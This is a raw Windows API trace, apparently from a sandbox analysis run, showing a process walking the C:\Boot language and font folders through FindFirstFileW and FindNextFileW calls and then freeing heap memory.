	[0061.248] FindNextFileW (in: hFindFile=0x5e09b0, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef569843, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0x327294d0, ftLastWriteTime.dwHighDateTime=0x1d2a030, nFileSizeHigh=0x0, nFileSizeLow=0x121a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0061.249] FindNextFileW (in: hFindFile=0x5e09b0, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xafa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0061.249] FindNextFileW (in: hFindFile=0x5e09b0, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xafa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0
	[0061.249] FindClose (in: hFindFile=0x5e09b0 | out: hFindFile=0x5e09b0) returned 1
	[0061.249] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x4f0000) returned 1
	[0061.249] FindNextFileW (in: hFindFile=0x5e0470, lpFindFileData=0x389fa7c | out: lpFindFileData=0x389fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000b9ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef586d37, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="es-ES", cAlternateFileName="")) returned 1
	[0061.249] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4250058
	[0061.249] FindFirstFileW (in: lpFileName="C:\\Boot\\es-ES\\*", lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000b9ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef586d37, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5e07b0
	[0061.250] FindNextFileW (in: hFindFile=0x5e07b0, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000b9ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef586d37, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0061.250] FindNextFileW (in: hFindFile=0x5e07b0, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4853f40, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0061.251] FindNextFileW (in: hFindFile=0x5e07b0, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef586d37, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0061.251] FindNextFileW (in: hFindFile=0x5e07b0, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef586d37, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0
	[0061.251] FindClose (in: hFindFile=0x5e07b0 | out: hFindFile=0x5e07b0) returned 1
	[0061.251] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x4f0000) returned 1
	[0061.251] FindNextFileW (in: hFindFile=0x5e0470, lpFindFileData=0x389fa7c | out: lpFindFileData=0x389fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000c12e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc4853f40, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="es-MX", cAlternateFileName="")) returned 1
	[0061.252] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4250058
	[0061.252] FindFirstFileW (in: lpFileName="C:\\Boot\\es-MX\\*", lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000c12e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc4853f40, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5e08f0
	[0061.253] FindNextFileW (in: hFindFile=0x5e08f0, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000c12e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc4853f40, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0061.253] FindNextFileW (in: hFindFile=0x5e08f0, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4853f40, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0061.253] FindNextFileW (in: hFindFile=0x5e08f0, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4853f40, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0061.253] FindClose (in: hFindFile=0x5e08f0 | out: hFindFile=0x5e08f0) returned 1
	[0061.253] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x4f0000) returned 1
	[0061.253] FindNextFileW (in: hFindFile=0x5e0470, lpFindFileData=0x389fa7c | out: lpFindFileData=0x389fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc487a0b9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="et-EE", cAlternateFileName="")) returned 1
	[0061.254] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4250058
	[0061.254] FindFirstFileW (in: lpFileName="C:\\Boot\\et-EE\\*", lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc487a0b9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5e03b0
	[0061.255] FindNextFileW (in: hFindFile=0x5e03b0, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc487a0b9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0061.255] FindNextFileW (in: hFindFile=0x5e03b0, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12560, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0061.255] FindNextFileW (in: hFindFile=0x5e03b0, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12560, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0061.255] FindClose (in: hFindFile=0x5e03b0 | out: hFindFile=0x5e03b0) returned 1
	[0061.255] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x4f0000) returned 1
	[0061.255] FindNextFileW (in: hFindFile=0x5e0470, lpFindFileData=0x389fa7c | out: lpFindFileData=0x389fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000cf3a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef59a5b1, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="fi-FI", cAlternateFileName="")) returned 1
	[0061.255] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4250058
	[0061.255] FindFirstFileW (in: lpFileName="C:\\Boot\\fi-FI\\*", lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000cf3a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef59a5b1, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5e03b0
	[0061.256] FindNextFileW (in: hFindFile=0x5e03b0, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000cf3a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef59a5b1, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0061.257] FindNextFileW (in: hFindFile=0x5e03b0, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2096e751, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0061.257] FindNextFileW (in: hFindFile=0x5e03b0, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef59a5b1, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0061.258] FindNextFileW (in: hFindFile=0x5e03b0, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef59a5b1, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0
	[0061.258] FindClose (in: hFindFile=0x5e03b0 | out: hFindFile=0x5e03b0) returned 1
	[0061.258] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x4f0000) returned 1
	[0061.258] FindNextFileW (in: hFindFile=0x5e0470, lpFindFileData=0x389fa7c | out: lpFindFileData=0x389fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc49ab3c7, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0109451, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef999ae4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Fonts", cAlternateFileName="")) returned 1
	[0061.258] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4250058
	[0061.258] FindFirstFileW (in: lpFileName="C:\\Boot\\Fonts\\*", lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc49ab3c7, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0109451, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef999ae4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5e04b0
	[0061.261] FindNextFileW (in: hFindFile=0x5e04b0, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc49ab3c7, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0109451, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef999ae4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0061.261] FindNextFileW (in: hFindFile=0x5e04b0, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc49ab3c7, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef782dd9, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x386467, dwReserved0=0x0, dwReserved1=0x0, cFileName="chs_boot.ttf", cAlternateFileName="")) returned 1
	[0061.261] FindNextFileW (in: hFindFile=0x5e04b0, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4a1dbea, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef81cc08, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x3b2e0a, dwReserved0=0x0, dwReserved1=0x0, cFileName="cht_boot.ttf", cAlternateFileName="")) returned 1
	[0061.261] FindNextFileW (in: hFindFile=0x5e04b0, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4a902c2, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef8771a7, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x1e4d4b, dwReserved0=0x0, dwReserved1=0x0, cFileName="jpn_boot.ttf", cAlternateFileName="")) returned 1
	[0061.262] FindNextFileW (in: hFindFile=0x5e04b0, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4b4eed5, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef8c4060, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x243588, dwReserved0=0x0, dwReserved1=0x0, cFileName="kor_boot.ttf", cAlternateFileName="")) returned 1
	[0061.262] FindNextFileW (in: hFindFile=0x5e04b0, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4b9b37e, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef8e28b4, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x2ab6f, dwReserved0=0x0, dwReserved1=0x0, cFileName="malgunn_boot.ttf", cAlternateFileName="MALGUN~1.TTF")) returned 1
	[0061.262] FindNextFileW (in: hFindFile=0x5e04b0, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4b9b37e, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef8f4db4, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x2b506, dwReserved0=0x0, dwReserved1=0x0, cFileName="malgun_boot.ttf", cAlternateFileName="MALGUN~2.TTF")) returned 1
	[0061.262] FindNextFileW (in: hFindFile=0x5e04b0, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4b9b37e, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9072c7, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x2318a, dwReserved0=0x0, dwReserved1=0x0, cFileName="meiryon_boot.ttf", cAlternateFileName="MEIRYO~1.TTF")) returned 1
	[0061.266] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x4f0000) returned 1
	[0061.266] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4250058
	[0061.271] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x4f0000) returned 1
	[0061.271] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x4f0000) returned 1
	[0061.688] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x4f0000) returned 1
	[0061.688] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4263a80 | out: hHeap=0x4f0000) returned 1
	[0061.688] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4263a80 | out: hHeap=0x4f0000) returned 1
	[0061.688] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4263a80 | out: hHeap=0x4f0000) returned 1
	[0061.689] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4263a80 | out: hHeap=0x4f0000) returned 1
	[0061.689] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4263a80 | out: hHeap=0x4f0000) returned 1
	[0061.689] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4263a80 | out: hHeap=0x4f0000) returned 1
	[0061.689] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4263a80 | out: hHeap=0x4f0000) returned 1
	[0061.689] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4263a80 | out: hHeap=0x4f0000) returned 1
	[0061.689] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4263a80 | out: hHeap=0x4f0000) returned 1
	[0061.689] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4263a80 | out: hHeap=0x4f0000) returned 1
	[0061.689] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4263a80 | out: hHeap=0x4f0000) returned 1
	[0061.690] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4263a80 | out: hHeap=0x4f0000) returned 1
	[0061.690] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x4f0000) returned 1
	[0061.690] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4263a80 | out: hHeap=0x4f0000) returned 1
	[0061.690] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4263a80 | out: hHeap=0x4f0000) returned 1
	[0061.690] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4263a80 | out: hHeap=0x4f0000) returned 1
	[0061.690] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4263a80 | out: hHeap=0x4f0000) returned 1
	[0061.690] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4263a80 | out: hHeap=0x4f0000) returned 1
	[0061.691] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4263a80 | out: hHeap=0x4f0000) returned 1
	[0061.691] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4263a80 | out: hHeap=0x4f0000) returned 1
	[0061.691] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4263a80 | out: hHeap=0x4f0000) returned 1
	[0061.691] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4263a80 | out: hHeap=0x4f0000) returned 1
	[0061.691] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4263a80 | out: hHeap=0x4f0000) returned 1
	[0061.691] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4263a80 | out: hHeap=0x4f0000) returned 1
	[0061.691] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4263a80 | out: hHeap=0x4f0000) returned 1
	[0061.691] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4263a80 | out: hHeap=0x4f0000) returned 1
	[0061.692] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3c40080 | out: hHeap=0x4f0000) returned 1
	[0061.693] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3c40080 | out: hHeap=0x4f0000) returned 1
	[0061.693] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3c40080 | out: hHeap=0x4f0000) returned 1
	[0062.168] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3c40080 | out: hHeap=0x4f0000) returned 1
	[0062.169] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3c40080 | out: hHeap=0x4f0000) returned 1
	[0062.171] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x4f0000) returned 1
	[0062.175] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x4f0000) returned 1
	[0062.177] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0062.177] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0062.180] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
